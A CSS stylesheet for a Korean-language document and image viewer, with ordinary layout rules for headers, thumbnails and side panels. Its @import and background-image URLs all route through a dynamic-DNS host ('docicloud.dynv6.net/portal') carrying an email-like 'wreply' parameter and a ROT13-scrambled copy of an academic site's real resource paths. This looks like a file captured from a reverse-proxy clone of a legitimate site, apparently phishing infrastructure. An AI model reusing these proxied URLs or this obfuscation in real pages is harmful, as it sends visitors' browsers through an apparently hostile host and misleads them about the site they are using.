@CHARSET "UTF-8";

@import url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Swft.nxf.np.xe%2Swftvzt%2Serfbheprf%2Spff%2S..%2S..%2Serfbheprf%2Spff%2Sonfr.pff");

html,body{overflow:hidden;}
.viewer_root_wrap{position:relative; height:100%; overflow:hidden;}

/* 뷰어 */
.viewer_header_wrap{position:relative; width:100%; height:38px; border-top:solid 1px #757577; border-bottom:solid 1px #282829; text-align:center; z-index:10;
	background: #444445; /* Old browsers */
	background: -moz-linear-gradient(top,  #444445 0%, #38383a 100%); /* FF3.6-15 */
	background: -webkit-linear-gradient(top,  #444445 0%,#38383a 100%); /* Chrome10-25,Safari5.1-6 */
	background: linear-gradient(to bottom,  #444445 0%,#38383a 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */
	filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#444445', endColorstr='#38383a',GradientType=0 ); /* IE6-9 */
	-webkit-box-shadow: 0px 10px 10px -8px rgba(0,0,0,0.75);
	-moz-box-shadow: 0px 10px 10px -8px rgba(0,0,0,0.75);
	box-shadow: 0px 10px 10px -8px rgba(0,0,0,0.75);
}
.viewer_header .home{position:absolute; left:0; top:0;}
.viewer_title{color:#fff; font-size:16px; padding:7px 0 0;}
.viewer_header .btnWrap{position:absolute; right:5px; top:5px;}

.viewer_container{position:relative; padding:0; width:100%; background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Swft.nxf.np.xe%2Swftvzt%2Serfbheprf%2Spff%2S..%2S..%2Serfbheprf%2Svzntrf%2Sot_ivrjre.cat') repeat; #zoom1;}
.viewer_container:after{display:block;clear:both;content:''}
.viewer_container .viewer_rightToc_button{display:block; position:absolute; top:50%; margin-top:-45px; z-index:10;}

/* 뷰어 이미지영역 */
.viewer_image_wrap{position:relative; float:left; width:100%; overflow:hidden;}
.viewer_image_wrap .viewer_prevImg_button{position:absolute; top:50%; left:100px; margin:-38px 0 0; z-index:10;}
.viewer_image_wrap .viewer_nextImg_button{position:absolute; top:50%; right:100px; margin:-38px 0 0; z-index:10;}
.viewer_image_wrap .content_thumbWrap{position:absolute; width:100%; bottom:0; left:0; background:#242424; padding:12px 0 0; height:48px;}
.viewer_image_wrap .content_thumbWrap .thumb_area_s{position:relative; text-align:center; width:100%;}
.viewer_image_wrap .content_thumbWrap .thumb_area_s ul{display:inline-block; overflow:hidden; height:36px;}
.viewer_image_wrap .content_thumbWrap .thumb_area_s ul:after{display:block;clear:both;content:''}
.viewer_image_wrap .content_thumbWrap .thumb_area_s ul li{position:relative; display:inline-block; width:44px; height:36px; margin:0 2px; background:#2f2f2f; text-align:center; line-height:34px;}
.viewer_image_wrap .content_thumbWrap .thumb_area_s ul li .item_hover_box{position:absolute; left:0; top:0; width:40px; height:32px; border:solid 2px #f5605e; display:none;}
.viewer_image_wrap .content_thumbWrap .thumb_area_s ul li img{max-width:100%; max-height:100%;}
.viewer_image_wrap .content_thumbWrap .thumb_area_s ul li:hover .item_hover_box{display:block;}
.viewer_image_wrap .content_thumbWrap .content_thumb_btn{display:inline-block; vertical-align:15px;}
.viewer_image_wrap .content_thumbWrap .thumb_tit{display:inline-block; vertical-align:5px; text-align:right; font-size:14px; color:#bcbbbb;}

/* 뷰어 관련정보 */
.viewer_right_wrap{float:right; position:relative; width:259px; border-left:solid 1px #121212;}
.viewer_right_wrap_sub{padding:15px 10px; width:238px; border-left:solid 1px #515151; background:#444; overflow:auto;}
.viewer_right_wrap_sub table{font-size:14px; color:#232428; color:#fff; text-align:left;}
.viewer_right_wrap_sub table th{font-weight:normal; vertical-align:top; padding:4px 2px;text-align:left;}
.viewer_right_wrap_sub table td{padding:4px 2px;text-align:left;}

.viewer_thumb_wrap{position:relative; width:100%; height:143px; border-top:solid 1px #757577; border-bottom:solid 1px #282829;
	background: #444445; /* Old browsers */
	background: -moz-linear-gradient(top,  #444445 0%, #38383a 100%); /* FF3.6-15 */
	background: -webkit-linear-gradient(top,  #444445 0%,#38383a 100%); /* Chrome10-25,Safari5.1-6 */
	background: linear-gradient(to bottom,  #444445 0%,#38383a 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */
	filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#444445', endColorstr='#38383a',GradientType=0 ); /* IE6-9 */
	-webkit-box-shadow: 0px -10px 8px -9px rgba(0,0,0,0.68);
	-moz-box-shadow: 0px -10px 8px -9px rgba(0,0,0,0.68);
	box-shadow: 0px -10px 8px -9px rgba(0,0,0,0.68);
}
.viewer_thumb_wrap_sub{position:relative; width:100%; height:143px;}

.viewer_thumb_wrap .img_count{position:absolute; left:10px; top:3px; font-size:14px; color:#fff; padding:0 0 0 17px; background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Swft.nxf.np.xe%2Swftvzt%2Serfbheprf%2Spff%2S..%2S..%2Serfbheprf%2Svzntrf%2Svpb_frnepu2.cat') no-repeat left 5px;}
.viewer_thumb_wrap .img_slide{position:absolute; bottom:0; left:0; width:100%;}
.viewer_thumb_wrap .img_slide .img_slideWrap{position:relative; height:30px;  margin:0 46px;}
.viewer_thumb_wrap .img_slide .img_slideWrap .btn_scroll{position:absolute; top:4px; z-index:10;} 
.viewer_thumb_wrap .img_slide .img_slideWrap .bar{position:absolute; left:0; top:13px; width:100%; height:7px; background:#242424;} 
.viewer_thumb_wrap .thumb_area{position:absolute;width:100%; top:34px; left:46px;}
.viewer_thumb_wrap .thumb_area ul{height:80px; overflow:hidden; padding:0 0 0 0;} /*text-align:center;*/
.viewer_thumb_wrap .thumb_area ul:after{display:block;clear:both;content:''}
.viewer_thumb_wrap .thumb_area ul li{position:relative; display:inline-block; width:100px; height:80px; margin-right:10px; background:#242424; text-align:center; line-height:77px;}
.viewer_thumb_wrap .thumb_area ul li .item_hover_box{position:absolute; left:0; top:0; width:96px; height:76px; border:solid 2px #f5605e; display:none;}
.viewer_thumb_wrap .thumb_area ul li img{max-width:100%; max-height:100%;}
.viewer_thumb_wrap .thumb_area ul li:hover .item_hover_box{display:block;}
.viewer_thumb_wrap .thumb_area ul li.on .item_hover_box{display:block;}
.viewer_thumb_wrap .thumb_prev_button{position:absolute; left:14px; top:58px;}
.viewer_thumb_wrap .thumb_next_button{position:absolute; right:14px; top:58px;}
.viewer_thumb_wrap .viewer_thumbToc_button{position:absolute; top:-1px; right:0;}